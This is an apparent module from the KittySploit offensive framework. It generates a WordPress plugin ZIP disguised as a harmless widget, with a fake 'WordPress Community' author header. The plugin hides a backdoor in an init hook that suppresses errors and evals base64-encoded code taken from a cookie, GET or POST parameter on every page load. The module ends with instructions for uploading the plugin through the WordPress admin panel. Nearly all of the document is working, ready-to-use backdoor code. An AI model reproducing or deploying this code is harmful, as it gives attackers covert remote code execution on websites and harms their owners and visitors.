WordPress Plugin Backdoor
from kittysploit import *
import zipfile
import os
class Module(Backdoor):
__info__ = {
'name': 'WordPress Plugin Backdoor',
'description': 'Generate a WordPress plugin backdoor that can be installed in wp-content/plugins/',
'author': 'KittySploit Team',
'listener': 'listeners/web/php_cookie',
'session_type': SessionType.PHP,
'arch': Arch.PHP,
}
plugin_name = OptString("kitty_widget", "Plugin name (will be used as directory name)", True)
cookie_name = OptString("kitty_shell", "Cookie name for shell connection", True)
method = OptChoice("cookie", "Backdoor activation method", False, choices=["cookie", "get", "post"])
def run(self):
# Generate plugin directory name
plugin_dir = self.plugin_name
# Main plugin file should have the same name as the directory
plugin_file = f"{plugin_dir}/{plugin_dir}.php"
# Build the backdoor code based on method
if self.method == "cookie":
backdoor_code = f"""
if(isset($_COOKIE['{self.cookie_name}'])){{
$data = $_COOKIE['{self.cookie_name}'];
$decoded = @base64_decode($data);
if($decoded !== false){{
@eval($decoded);
}}
}}"""
elif self.method == "get":
backdoor_code = f"""
if(isset($_GET['{self.cookie_name}'])){{
$data = $_GET['{self.cookie_name}'];
$decoded = @base64_decode($data);
if($decoded !== false){{
@eval($decoded);
}}
}}"""
else: # post
backdoor_code = f"""
if(isset($_POST['{self.cookie_name}'])){{
$data = $_POST['{self.cookie_name}'];
$decoded = @base64_decode($data);
if($decoded !== false){{
@eval($decoded);
}}
}}"""
# WordPress plugin header and structure
plugin_data = f"""<?php
/**
* Plugin Name: {self.plugin_name.title()} Widget
* Plugin URI: https://wordpress.org/plugins/{self.plugin_name}/
* Description: A simple widget plugin for WordPress. Adds custom functionality to your WordPress site.
* Version: 1.0.0
* Author: WordPress Community
* Author URI: https://wordpress.org/
* License: GPL v2 or later
* License URI: https://www.gnu.org/licenses/gpl-2.0.html
* Text Domain: {self.plugin_name}
*/
// Prevent direct access
if (!defined('ABSPATH')) {{
exit;
}}
/**
* Initialize the plugin
*/
function {self.plugin_name}_init() {{
// Register widget
add_action('widgets_init', function() {{
register_widget('{self.plugin_name.title()}_Widget');
}});
}}
add_action('plugins_loaded', '{self.plugin_name}_init');
/**
* Widget Class
*/
class {self.plugin_name.title()}_Widget extends WP_Widget {{
public function __construct() {{
parent::__construct(
'{self.plugin_name}_widget',
__('{self.plugin_name.title()} Widget', '{self.plugin_name}'),
array('description' => __('A custom widget for {self.plugin_name.title()}', '{self.plugin_name}'))
);
}}
public function widget($args, $instance) {{
echo $args['before_widget'];
if (!empty($instance['title'])) {{
echo $args['before_title'] . apply_filters('widget_title', $instance['title']) . $args['after_title'];
}}
echo '<p>' . esc_html__('Widget content goes here.', '{self.plugin_name}') . '</p>';
echo $args['after_widget'];
}}
public function form($instance) {{
$title = !empty($instance['title']) ? $instance['title'] : __('New title', '{self.plugin_name}');
?>
<p>
<label for="<?php echo esc_attr($this->get_field_id('title')); ?>"><?php esc_attr_e('Title:', '{self.plugin_name}'); ?></label>
<input class="widefat" id="<?php echo esc_attr($this->get_field_id('title')); ?>" name="<?php echo esc_attr($this->get_field_name('title')); ?>" type="text" value="<?php echo esc_attr($title); ?>">
</p>
<?php
}}
public function update($new_instance, $old_instance) {{
$instance = array();
$instance['title'] = (!empty($new_instance['title'])) ? strip_tags($new_instance['title']) : '';
return $instance;
}}
}}
/**
* Hook into WordPress initialization
* This ensures the backdoor code runs on every page load
*/
add_action('init', function() {{
@error_reporting(0);
{backdoor_code}
}}, 0);
/**
* Activation hook
*/
register_activation_hook(__FILE__, function() {{
// Plugin activation code
}});
/**
* Deactivation hook
*/
register_deactivation_hook(__FILE__, function() {{
// Plugin deactivation code
}});
"""
# Write the plugin file
self.write_out_dir(plugin_file, plugin_data)
# Create ZIP archive
output_dir = os.path.join(os.getcwd(), "output")
plugin_dir_path = os.path.join(output_dir, plugin_dir)
zip_path = os.path.join(output_dir, f"{plugin_dir}.zip")
# Create ZIP file with proper WordPress plugin structure
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
# Add the main plugin file to the ZIP
plugin_file_path = os.path.join(output_dir, plugin_file)
if os.path.exists(plugin_file_path):
# Add file to ZIP with correct path (plugin_dir/plugin_file.php)
# This ensures WordPress can find the plugin when extracting
zipf.write(plugin_file_path, arcname=os.path.join(plugin_dir, f"{plugin_dir}.php"))
print_success(f"WordPress plugin backdoor generated: {zip_path}")
print_info(f"Plugin directory: {plugin_dir}")
print_info(f"Main plugin file: {plugin_dir}/{plugin_dir}.php")
print_info(f"Installation: Upload {os.path.basename(zip_path)} to WordPress admin panel (Plugins > Add New > Upload Plugin)")
return True
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